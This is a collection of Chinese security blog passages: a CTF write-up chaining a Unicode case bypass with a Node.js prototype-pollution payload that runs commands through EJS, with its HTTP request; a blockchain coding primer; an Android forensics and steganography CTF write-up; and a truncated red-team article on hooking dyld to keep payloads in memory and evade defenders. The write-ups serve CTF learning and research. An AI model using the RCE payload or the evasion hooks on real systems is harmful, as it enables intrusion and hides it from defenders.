   res.end("<script>alert('error passwd');history.go(-1);</script>")   }   }  res.redirect('/'); ; }); router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}  req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");   }); router.get('/info', function (req, res) {  res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router; 看下面两段代码 function safeKeyword(keyword) {  if(keyword.match(/(admin)/is)) {      return keyword }  return undefined }router.post('/login', function (req, res) {  if(req.body.Submit=="register"){   if(safeKeyword(req.body.userid)){    res.end("<script>alert('forbid word');history.go(-1);</script>")   }    req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false   }    res.redirect('/'); }  else if(req.body.Submit=="login"){    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){      req.session.user.isLogin=true;   }    else{      res.end("<script>alert('error passwd');history.go(-1);</script>")   }   }  res.redirect('/'); ; }); 只有用admin登录才会return,keyword 否则返回undefined,返回undefined就会弹窗forbid word,如果username经过toUpperCase后不能与原来的匹配,或password错误,就会弹窗error passwd,这也是为什么题中说用户名只支持大写。 再看这段,就很恶心,如果username为ADMIN就不能登录,又不让用admin,又得用admin登录,这里就用到了JavaScript大小写的漏洞。 if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 所以用ADMıN来绕过,注意不是ADMiN,中间那个i是一个奇怪的字符,把username输入ADMıN直接注册就可以了(题目环境怪怪的 有的时候ADMıN 不行就试试admın),登录进去还给了flag的位置。 这里试了试没啥用,继续看源码,上面提到了 merge clone操作可以控制键值和键名,从而达到污染。 const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);   } else {      a[attr] = b[attr];   } }  return a }const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);   } else {      a[attr] = b[attr];   } } 往下看找到调用clone的位置 router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}  req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");   }); 也就是说我们可以在action路由下通过请求体来进行污染,原型链污染的位置找到了,接下来就是要找到可以用来控制键名和键值的对象。 看到这段: router.get('/info', function (req, res) {  res.render('index',data={'user':res.outputFunctionName}); }) render函数应该不陌生,在模板注入攻击(SSTI)中很常见, 这里将回显req的outputFunctionNmae渲染到了index中,那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢?代码跟下来我们发现并没有outputFunctionName这个东西,也就是说它是我们可以用来污染原型链的载体,如果把Object的prototype中加上键名为outputFunctionName,键值为恶意payload的属性,那么在进行模板渲染时,是不是就会执行我们的恶意payload? 但是我们考虑一个问题,如何去修改Object的prototype ?(确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码: router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}  req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");   }); 发现请求体被clone到了req.session.user.data中,对于req.session.user这个对象来说,它的__proto__属性是不是就是Object的prototype,所以我们可以修改了这个对象的__proto__从而达到目的。 req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false   } SSTI的payload我也不是很懂,反正原理都是不断调用原型对象,最后找到一个可以用来rce的函数,payload和CVE-2019-10744是一样的,直接搬来用了。 {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}} 污染成功后在info路由下调用res.outputFunctionName时,就像上面调用son.last_name的过程一样,最终调用到了Object的outputFunctionName ,并且要让__proto__为键名,要用JSON格式,所以要用burp拦包添加content type(在进行POST传参时必须有该头) 放个包做个参考,记得路由和传参方式也要改 再传payload。 POST /action HTTP/1.1 Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY Content-Type: application/json Connection: close Content-Length: 137 {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}} 在action路由下污染成功后,应该接着访问info路由进行SSTI,但是不知道为啥,我包发过去直接给flag了。
区块链安全前传之从Web3.0到创造自己的数字货币
互联网发展的三个阶段 web1.0 静态页面,内容只能供用户去阅读,类似于在网络上读报纸或者看书。 web2.0 动态互联网,实现用户之间的互动,比如twitter,facebook,titok等。 web2.0中厂商用免费或极低的成本吸引用户,通过获取到用户的信息来推流广告从而获得利润。 打个比方就是 厂商在一片地上种了很多草,吸引羊来吃,趁着羊吃草的功夫把羊身上的毛薅下来拿去卖钱,而羊自己并不在意这些毛,可以说是一种双向互利的方式。 web3.0 web3.0是一个很模糊的概念,随着区块链技术的发展,基于区块链的web3.0诞生。 接着用上面的例子来说,随着web2.0的发展壮大,稀缺的不再是草,而是羊毛,也就是用户身上的数据。那么羊毛的重要性愈加突出,所以提出web3.0的概念,也就是拥有自己的一片空间,别人无论如何都无法修改,也就是将羊毛(数据)存放在了一个非常安全的地方中,相比于web2.0,不但实现了动态的交互,也实现了数据的“拥有”。 web3的概念非常模糊,可以说是一个大方向,按照我个人的理解可以说是在互联网创造了一个虚拟的世界,这个虚拟的世界拥有和现实世界一样的货币交易系统以及其他体系,能够自主维持运转的这样一个“虚拟生态系统”,而这个生态系统的生存法则就是“去中心化”。 什么是去中心化? 比如现在市面上的app都由一个厂家负责,厂商可以随意删除控制用户数据,形成了以厂商为中心的服务体系,去中心化就是没有中心厂商作为核心,而是所有用户形成一个能够自力更生的体系。 密码货币 随着web2.0发展,数字货币使用越来越多,而在区块链技术的支持下,数字货币也出现了全新的存在形式,去中心化的密码货币,世界上第一种密码货币就是比特币。像纸币有防伪印一样,密码货币通过密码学的散列计算出的hash值并且和智能合约进行绑定,密码货币基于去中心化的机制,与依赖中心监管体系的银行金融系统相对。之后出现的数种密码货币被创造,它们通常被称为altcoins。 区块链 区块链的防篡改机制一个区块中储存了三样东西:数据,前一个区块的hash值,自身的hash值(由数据和前一区块的哈希值共同决定),如果要更改某一区块的内容,那么该区块(a区块)的hash值就会改变,下一区块(b区块)储存的a区块的hash值无法对应a区块当前哈希值,那么这两个区块间的链接就会断开。 如果想要篡改某一区块的数据,我们就要将这一区块以及后续所有区块的hash值进行重算,比如一条区块链里面有abcde五个区块,当我们篡改了b区块的数据,那么我们就要带着b区块的新hash值和c区块的数据重新计算出c区块的新hash值,然后再带着c区块的新hash值和d区块的数据重新计算d区块的新hash值,再带着d区块的新hash值和e区块的数据重新计算e区块的hash值…………………..其实在重新计算某一区块的hash值的过程也就相当于创造了一个新的区块,因此篡改一个区块以及后续区块所需的时间取决于创造一个区块所需要的时间。 这个看起来对算力要求似乎非常庞大,但是现代计算机其实是可以做到这一点的,如果我们有一台超大算力的计算机,那么是不是轻松就可以改变区块链的内容了?为了防止这种情况的出现,区块链加入了工作量证明机制(proof of work)简称 pow 我们用游戏举例说明一下pow,我们刚才说到用超大算力计算机来篡改区块链,这就好比你拿着满级神装在新手村乱杀,区块链是不允许这种情况出现的,因此它会上调怪物属性,也就是会增加创造一个区块所需的难度,使每一新区块被创造时都保持在十分钟左右(当然这个时间是可以更改的),因此即使是一台超高算力的计算机想要篡改一个区块所需的时间仍然是 创造一个区块的时间✖️n min。 那我们所说的挖矿是什么呢?上面提到的情况是想要篡改区块中的数据,那么我没有恶意,我只是单纯的创造区块去给自己或者他人使用,这个创造区块的过程牺牲了我电脑的算力和一些其他资源,所以作为补偿,创建区块的人会得到密码货币的奖励,这就是我们所说的挖矿。 区块链的点对点网络结构 在传统的web服务中,传统的链接对象基本都是客户端和服务端,众多客户端访问一个服务端来进行交互,而在区块链的点对点网络结构(peer to peer)中,不再有客户端与服务端的概念,每一个节点间相互平等,并且包含完整的区块链数据存储,也就是说每一个节点中都储存了整个区块链网络中的所有信息,这样即使一个节点出现故障,其他所有节点也在帮他记录信息,这些记录了所有节点区块链的节点叫做全节点,当然也有只储存了自己信息的轻节点,比如区块链用来储存转账记录,那么每一节点都储存了所有节点之间的转账记录,每一节点储存的内容也是相同的,如果某一节点与其他节点出现差异,那么该节点或许就有被篡改过的可能了,但是被篡 点对点网络结构下的所有节点拥有判断区块是否被篡改的能力,当一个新区块想要加入某一节点的区块链时,该节点会向其他所有节点进行广播,所有的节点进行判断,如果50%以上的节点都认为该区块没有被篡改,那么这个区块就可以成功的加入区块链当中,反言之如果想要篡改某一区块的数据,你首先要将这一区块后的所有哈希重新计算,并且还要更改超过百分之五十节点的这一区块后的所有区块的哈希,那么就要拥有超过全网50%以上的算力才可以,这付出的代价是相当高的,这就是区块链网络系统的少数服从多数原则。 DAPP Dapp 是什么? APP (Application) 指的是手机里的应用程序,像是微信、微博、抖音…等都是日常生活中常会使用到的 App。 而 Dapp 的全名为去中心化应用程序(Decentralized Application),是建立在区块链系统网络上,所提供的服务都具有公开透明、不可篡改的特性。 以下是 Dapp 所具有的要素: 1. 代码开源:程序代码皆公开透明,任何人都可以查阅及审核,避免项目方说到没做到。 2. 分布式帐本:降低数据遗失的风险,且没有任何其他第三方有权能够窜改数据。 3. 数据所有权:除本人(私钥持有者)外,任何人皆无法动用该帐号的数据。 为什么 Dapp 会崛起? 事实上,App 都是中心化的应用服务,用户所使用的数据都会存储在单一服务器系统里,代表公司能掌控用户的所有数据,但相关问题也随之浮出水面。 数据所有权归属问题 用户在 App 上的个人资料、搜索浏览纪录等信息都会存储在中心化系统的服务器里,这也意味着软件公司能够借由这些数据来营利。 也导致像是微博、抖音等企业,能透过搜集的用户数据来投放广告,并借此获利。等于企业能用你的信息来赚钱,但你却分不到任何好处,甚至还可能受到影响(例如被疯狂投放广告、或个人资料被平台外泄)。 另外,传统手游的游戏道具、帐号数据也都属于公司所有,一旦宣布停止营运,这些资产也会随着官方服务器关闭而消失。 但在 Dapp 中,你的游戏道具、帐号都会以 NFT 形式储存在链上,因此只要区块链不倒,你就能持续拥有这些资产。换句话说,Dapp 能够让数据的所有权回归到用户身上。额外提醒,虽然你仍拥有这些资产,但可能会因为游戏已经关闭,导致这些资产的现值趋近于零,你能保有的仍以回忆居多。 过度中心化 App 是由中心化服务器来进行管理,因此企业有时可以专断独行,但用户却没有任何反制的手段:例如可以随意植入广告,或是删除用户的内容、帐号。 而 Dapp 的数据都存在区块链上,因此项目方没办法任意删除用户资料,目前也没有任何广告植入的问题(但不确定未来是否会有项目开始植入广告)。 由于上述几点原因,也让许多人开始对传统的 App 感到不满,于是就有人打算通过区块链“去中心化”的特性来研发能解决上述问题的 App,于是 Dapp 就此诞生。 不过同时也要注意,不是每个 Dapp 都一定符合公开、去中心化的规范,例如 Opensea 就能下架用户的 NFT 和限制用户登陆。 Dapp 与 App 的差异 App 的应用服务是使用中心化服务器,代表软件公司必须要承担存储用户的数据量的营运成本,否则将无法持续地运行。 例如抖音服务器的成本就百万以上,因此必须想办法创造各种营收管道来支持各项支出,像是通过大数据将广告推广到潜在用户面前,借此吸引更多广告商进驻。 而 Dapp 是建立在区块链上,用户在链上进行交易、换币等行为时,是需要自行负担手续费(Gas 费)的,也就代表开发商的运营成本会比传统 App 来得更低(不过有些开发商为了吸引用户,会帮用户负担使用时的手续费)。 智能合约 智能合约,是一段写在区块链上的代码,一旦某个事件触发合约中的条款,代码即自动执行。也就是说,满足条件就执行,不需要人为操控,类似于传统web的后端代码。 简单区块链实现 我们用Javascript来手写一个建议的区块链出来,其实和写一个链表很像: const sha256 = require('crypto-js/sha256') Date = new Date() class block{    constructor(data,time,previousHash) {        this.data = data        this.time = time        this.previousHash = previousHash        this.myHash = this.currHash()   }    currHash() {        return sha256(this.data + this.time + this.previousHash).toString()   } } class blockCahin{    constructor()   {        this.chain = [this.createBlockchain()];   }    createBlockchain()   {        return new block("Genesisblock",Date.toLocaleString(),0o0000000)   }    getLatestblock()   {        return this.chain[this.chain.length - 1]   }    addBlock(newBlock)   {        newBlock.previousHash = this.getLatestblock().myHash        newBlock.myHash = newBlock.currHash()        this.chain.push(newBlock)   } } BlockChain = new blockCahin() BlockChain.addBlock(new block("this is a test",Date.toLocaleDateString(),"anything")) console.log(BlockChain) 接下来我们用代码实现一下简易的POW: const sha256 = require("crypto-js/sha256") function proofOfwork(){    let seed = "y1zh3e7"    let x = 1               // x为自增变量    while (true){        if(sha256(seed + x).toString().substring(0,4) != "0000") // 定义难度,比如我现在要求通过不断自增x去计算seed+x的哈希值       {                                                        // 当哈希值前四位都为0000时则代表成功 如果想提高难度我们就可以让前x位为xxxx            x += 1       }else{            console.log(sha256(seed + x).toString())            break       }   }    console.log(x)                                              // 输出计算多少次后成功 } proofOfwork() 实现防篡改机制: /*********************************************** 验证区块链防篡改需要检测两项:                                     1.重新计算区块的hash值,判断与区块中储存的hash是否相同 2.判断当前区块的previousHash是否和上一区块的hash相同 ***********************************************/ function validateBlock(validBlockchain){    if (validBlockchain.chain.length == 1)   {        if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())       {            console.log("数据篡改")            return false       }   }else {        for (let i=1; i<=validBlockchain.chain.length-1; i++)       {            if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())           {                console.log("数据篡改")                return false           }            if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)           {                console.log("前后区块链断裂")                return false           }       }   }    console.log("数据无篡改且区块链结构完整")    return true } 将完整的POW整合到区块链当中并实现挖矿功能,最终实现的完整区块链: const sha256 = require('crypto-js/sha256') Date = new Date() class block{    constructor(data,time,previousHash) {        this.data = data        this.time = time        this.nonce = 1        this.previousHash = previousHash        this.myHash = this.calcHash()   }    calcHash() {        return sha256(this.data + this.time + this.previousHash + this.nonce).toString()   }    /** **/    getAnswer(difficulty){        let answer = ""        for(let i=0; i<difficulty; i++)       {            answer += "0"       }        console.log(answer)        return answer   }   /** 引入挖矿功能 **/    mine(difficulty){        let answer = this.getAnswer(difficulty)        let Hash = this.calcHash()       while(true){            if (Hash.substring(0,difficulty) != answer)           {                this.nonce++                Hash = this.calcHash()           }else{                break           }       }       console.log("mine successful!")       console.log(this.nonce)       return Hash   } } class blockCahin{    constructor()   {        this.chain = [this.createBlockchain()]        this.difficulty = 5   }    createBlockchain()   {        return new block("Genesisblock",Date.toLocaleString(),0o0000000)   }    getLatestblock()   {        return this.chain[this.chain.length - 1]   }    addBlock(newBlock)   {        newBlock.previousHash = this.getLatestblock().myHash        newBlock.myHash = newBlock.mine(this.difficulty)        this.chain.push(newBlock)   } } /*********************************************** 验证区块链防篡改需要检测两项: 1.重新计算区块的hash值,判断与区块中储存的hash是否相同 2.判断当前区块的previousHash是否和上一区块的hash相同 ***********************************************/ function validateBlock(validBlockchain){    if (validBlockchain.chain.length == 1)   {        if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())       {            console.log("数据篡改")            return false       }   }else {        for (let i=1; i<=validBlockchain.chain.length-1; i++)       {            if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())           {                console.log("数据篡改")                return false           }            if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)           {                console.log("前后区块链断裂")                return false           }       }   }    console.log("数据无篡改且区块链结构完整")    return true } BlockChain = new blockCahin() BlockChain.addBlock(new block("this is a test",Date.toLocaleDateString(),"anything")) // console.log(BlockChain) // BlockChain.chain[1].data = "数据篡改" // BlockChain.chain[0].myHash = "0012343566688" // console.log(validateBlock(BlockChain)) 数字货币的简单实现 比特币 我们前面说到区块链是用来记录信息的,如果它记录的是转账记录那么它就成了一个账本。 一笔转账信息需要以下四个信息: 付款人 收款人 转账金额 转账时间 我们前面提到了POW,比特币会通过POW将产生一个区块的时间控制在十分钟左右,比特币的工作机制基本如下: 整个区块链是一个网状的网络结构,其中有一个中心,每十分钟发布一个问题(类似于我们之间生成的目标Hash),当问题发布后,该网状网络中的所有结点会来解这个问题(挖矿,爆破目标Hash值),此时就是各结点间的算力比拼,当有一个结点解出该问题后则代表挖矿成功,一个新区块被创造出来,这时该新区块内会自动生成一笔转账记录,其中的收款人就是该区块的挖出者,这时区块链就会自动把奖励发放到收款人的账户上,并且该区块会在整个区块链网络中进行广播,区块链中的每一个结点会对该区块进行验证其合法性,经过验证后该新区块就会被加到区块链上。每四年比特币的奖励会减半一次,最后的比特币总量大约是在2100万个左右。 那么这里会有一个问题,如果过了几年之后,比特币越来越少,每次挖矿后几乎得不到比特币了,那还会有人来挖矿吗? 其实比特币只是比特币区块链中的一个额外奖励机制,整个区块链货币依赖的是每一笔转账记录的手续费,当一个新区块被挖出时那么这个新区块的转账信息(我们刚才说到的比特币奖励机制)就会记录在这个新区块上(以转账的方式发放奖励货币),后续也会记录其他的转账信息,并且会产生手续费,手续费归记录该笔转账信息的区块的挖出者所有。 说到动态调整难度,比特币是怎么调整的呢? 比特币会在每2016个区块诞生后验证一下难度,如果说本来预期中mine这2016个区块所需要的时间是两个星期,而实际只用了一个星期,那么此时比特币区块链就会调整难度,使其达到预期,基本上比特币区块链会每两个星期调整一次难度。 创建自己的数字货币 首先我们要新建一个Transaction类来进行转账记录: class Transaction{    constructor(from, to , amount) {        this.from = from        this.to = to        this.amount = amount   } } 更改区块中data的含义,此时要记录的是转账信息transaction,并且由于transaction是一个对象,因此在参与计算哈希时要转为字符串(这里将时间改为了Date.now,这样在区块创造时就记录了这笔转账记录的时间): class Block{    constructor(transaction,previousHash) {        this.transactions = transaction        this.time = Date.now()        this.nonce = 1        this.previousHash = previousHash        this.myHash = this.calcHash()   }    // 计算hash时要将data转换为字符串类型,此时的data是一个transaction    calcHash() {        return sha256(JSON.stringify(this.transactions) + this.time + this.previousHash + this.nonce).toString()   } 上面说到奖励货币的发放是通过转账的方式实现的,所以我们在链上实现逻辑: class blockChain{    constructor()   {        this.chain = [this.createBlockchain()]        this.difficulty = 5        this.transactionPool = []  //挖矿成功的转账信息        this.mineReward = 50       //每次挖矿成功的奖励货币数   } mineTransaction(minerAddress)   {        const minerRewardTransaction =  new Transaction('', minerAddress, this.mineReward)        this.transactionPool.push(minerRewardTransaction)   } 之前我们是在外部传入一个区块,在整个货币系统的实现后区块应该是在挖矿时在区块链内部产生的,修改代码: //将Transaction添加到Transaction Pool中    addTransaction(Transaction)   {        this.transactionPool.push(Transaction)   } mineTransaction(minerAddress)   {        const minerRewardTransaction =  new Transaction('', minerAddress, this.mineReward)        this.transactionPool.push(minerRewardTransaction)        //挖矿        /********************************************************         * 这里新区块记录了整个区块链的转账信息,但在实际情况中区块的存储         * 容量是有限制的,所以在挖矿时记录的转账记录会选择手续费最高的transaction         * 我们这里先不考虑这种情况         *******************************************************/        const newBlock = new Block(this.transactionPool,this.getLatestBlock().myHash)        newBlock.mine()        //添加到区块链,并清空Transaction Pool        this.chain.push(newBlock)        this.transactionPool = []   } 整个写好的数字代币: const sha256 = require('crypto-js/sha256') class Transaction{    constructor(from, to , amount) {        this.from = from        this.to = to        this.amount = amount   } } class Block{    constructor(transaction,previousHash) {        this.transactions = transaction        this.time = Date.now()        this.nonce = 1        this.previousHash = previousHash        this.myHash = this.calcHash()   }    // 计算hash时要将data转换为字符串类型,此时的data是一个transaction    calcHash() {        return sha256(JSON.stringify(this.transactions) + this.time + this.previousHash + this.nonce).toString()   }    /** 获取相应难度hash **/    getAnswer(difficulty){        let answer = ""        for(let i=0; i<difficulty; i++)       {            answer += "0"       }        return answer   }   /** 引入挖矿功能 **/    mine(difficulty){        let answer = this.getAnswer(difficulty)        let Hash = this.calcHash()       while(true){            if (Hash.substring(0,difficulty) != answer)           {                this.nonce++                Hash = this.calcHash()           }else{                break           }       }       console.log("mine successful!\n")       console.log("计算"+this.nonce+"次后挖矿成功,answer为"+Hash)       return Hash   } } class blockChain{    constructor()   {        this.chain = [this.createBlockchain()]        this.difficulty = 4        this.transactionPool = []  //挖矿成功的转账信息        this.mineReward = 50       //每次挖矿成功的奖励货币数   }    createBlockchain()   {        return new Block("Genesisblock",null)   }    getLatestBlock()   {        return this.chain[this.chain.length - 1]   }    //将Transaction添加到Transaction Pool中    addTransaction(Transaction)   {        this.transactionPool.push(Transaction)   }    mineTransaction(minerAddress)   {        const minerRewardTransaction =  new Transaction('', minerAddress, this.mineReward)        this.transactionPool.push(minerRewardTransaction)        //挖矿        /********************************************************         * 这里新区块记录了整个区块链的转账信息,但在实际情况中区块的存储         * 容量是有限制的,所以在挖矿时记录的转账记录会选择手续费最高的transaction         * 我们这里先不考虑这种情况         *******************************************************/        const newBlock = new Block(this.transactionPool,this.getLatestBlock().myHash)        newBlock.mine(this.difficulty)        //添加到区块链,并清空Transaction Pool        this.chain.push(newBlock)        this.transactionPool = []   } } /*********************************************** 验证区块链防篡改需要检测两项: 1.重新计算区块的hash值,判断与区块中储存的hash是否相同 2.判断当前区块的previousHash是否和上一区块的hash相同 ***********************************************/ function validateBlock(validBlockchain){    if (validBlockchain.chain.length == 1)   {        if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())       {            console.log("数据篡改")            return false       }   }else {        for (let i=1; i<=validBlockchain.chain.length-1; i++)       {            if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())           {                console.log("数据篡改")                return false           }            if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)           {                console.log("前后区块链断裂")                return false           }       }   }    console.log("数据无篡改且区块链结构完整")    return true } Y1Coin = new blockChain() const Transaction1 = new Transaction('add1', 'add2', 20) const Transaction2 = new Transaction('add1', 'add2', 5) Y1Coin.addTransaction(Transaction1) Y1Coin.addTransaction(Transaction2) Y1Coin.mineTransaction("add3") console.log(Y1Coin) console.log(Y1Coin.chain[1].transactions)
[西湖论剑2022]Misc-机你太美
解题过程: 修改文件后缀后,7z解压后,夜神模拟器导入vmdk 删除pin值 参考文章:https://www.cnblogs.com/Zev_Fung/p/14192545.html 删除/data/system/locksettings.db即可 rm /data/system/locksettings.db 重启进入,发现安装有QQ和Skred 打开Skred发现聊天记录 发现聊天记录传输了⽂件,根据skred的存储文件的位置,可以直接定位 /data/data/mobi.skred.app/files/conversations 使⽤adb pull来提取⽂件 adb pull /data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47-bebe04545ba0/50.zip D:\桌面\CTF\西湖论剑2023\jntm-update\dasctf 其他文件类似操作提取即可 解压压缩包发现存在解压密码,可能存在两张图片里,图片可能采取了隐写之类的隐藏信息的方式 使用stegslove打开45.png,在Alpha plane处发现信息,写脚本提取其二进制信息 from PIL import Image img = Image.open("45.png") for i in range(img.width):    for j in range(img.height):        pixl = img.getpixel((m,n))        if(pixl[3] == 255):            print(1,end='')        else:            print(0,end='') print("_______________") #0110010100110000001100010011010100110100001101000110000100111001001100110011001100110011011001010110011000110110001100100110000100110011011000010110000100110010001101110011001100110101001101110110010101100010001101010011001001100101011000010011100001100001 进行编码转换一下 e01544a9333ef62a3aa27357eb52ea8a 得到解压密码,解压50.zip,获得一个flag文件,记事本打开为一串乱码,猜测可能是啥加密,信息应该在75.jpg上面 根据赛方放出的hint3:在线exif 试着查看一下75.jpg的exif信息,这里我使用的是https://exif.tuchong.com/ EXIF信息摘要 模式 曝光模式:Aperture-priority AE, 测光模式:Multi-segment, 曝光补偿:0 曝光 光圈:4.0, 快门:1/250秒, ISO200 焦距 50.0 mm (35 mm equivalent: 80.9 mm), 视角:25.1 deg 色彩 白平衡:Auto, 色彩空间:sRGB File FileType JPEG FileTypeExtension jpg MIMEType image/jpeg ExifByteOrder Little-endian (Intel, II) ImageWidth 3888 ImageHeight 2592 EncodingProcess Baseline DCT, Huffman coding BitsPerSample 8 ColorComponents 3 YCbCrSubSampling YCbCr4:2:2 (2 1) IFD0 方向 Horizontal (normal) X分辨率 72 Y分辨率 72 分辨率单位 inches YCbCr定位 Co-sited ExifIFD 曝光时间 1/250 光圈值 4.0 曝光程序 Aperture-priority AE ISO 200 Exif版本 0221 ComponentsConfiguration Y, Cb, Cr, - 快门速度值 1/250 光圈值 4.0 曝光补偿 0 测光模式 Multi-segment 闪光灯 Off, Did not fire 焦距 50.0 mm 用户注释 XOR DASCTF2022 SubSecTime 39 SubSecTime原始 39 SubSecTime数码化 39 Flashpix版本 0100 色彩空间 sRGB Exif图像宽度 3888 Exif图像高度 2592 焦平面X轴分辨率 4438.356164 焦平面Y轴分辨率 4445.969125 焦平面分辨率单位 inches CustomRendered Normal 曝光模式 Auto 白平衡 Auto 场景Capture类型 Standard InteropIFD Interop索引 R98 - DCF basic file (sRGB) Interop版本 0100 IFD1 压缩 JPEG (old-style) X分辨率 72 Y分辨率 72 分辨率单位 inches 缩略图偏移 8412 缩略图长度 19629 ThumbnailImage (Binary data 19629 bytes, use -b option to extract) Composite 光圈 4.0 图像尺寸 3888x2592 Megapixels 10.1 35mm等效因子 1.6 快门速度 1/250 (最小)模糊圈 0.019 mm 视角 25.1 deg 35mm等效焦距 50.0 mm (35 mm equivalent: 80.9 mm) 超焦距 33.67 m 亮度值 11.0 可以看到用户注释为XOR DASCTF2022 对flag文件进行XOR 获得flag:DASCTF{fe089fecf73daa9dcba9bc385df54605}
IOS逆向--恢复Dyld的内存加载方式
之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。 @roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。 作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。 因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。 NS Link Module有何与众不同 由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。 该函数的签名为: NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... } 该函数的第一个参数是ofi,它是用NS Create Object File Image From Memory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。 通过查看代码发现,最新版本的NS Link Module,会将osi所指向的内存写入磁盘。 if ( ofi->memSource != nullptr ) { ... char        tempFileName[PATH_MAX]; const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR"); if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) { strlcpy(tempFileName, tmpDir, PATH_MAX); if ( tmpDir[strlen(tmpDir) - 1] != '/' ) strlcat(tempFileName, "/", PATH_MAX); } else strlcpy(tempFileName, "/tmp/", PATH_MAX); strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX); int fd = this->libSystemHelpers->mkstemp(tempFileName); if ( fd != -1 ) { ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0); } ... } 通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。 ... ofi->handle = dlopen_from(ofi->path, openMode, callerAddress); ... 因此,从本质上讲,这也就使得NS Link Module成为了dlopen的一个封装器。 那我们能否恢复dyld之前的内存加载特性呢? 我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么,如果我们在调用之前拦截它们,会发生什么呢? 使用dyld进行hook 为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。 我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。 知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。 ldr x8, _value br x8 _value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location 在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。 void *getDyldBase(void) {    struct task_dyld_info dyld_info;    mach_vm_address_t image_infos;    struct dyld_all_image_infos *infos;        mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;    kern_return_t ret;        ret = task_info(mach_task_self_,                    TASK_DYLD_INFO,                   (task_info_t)&dyld_info,                    &count);        if (ret != KERN_SUCCESS) {        return NULL;   }        image_infos = dyld_info.all_image_info_addr;        infos = (struct dyld_all_image_infos *)image_infos;    return infos->dyldImageLoadAddress; } 只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。 bool searchAndPatch(char *base, char *signature, int length, void *target) {        char *patchAddr = NULL;    kern_return_t kret;        for(int i=0; i < 0x100000; i++) {        if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {            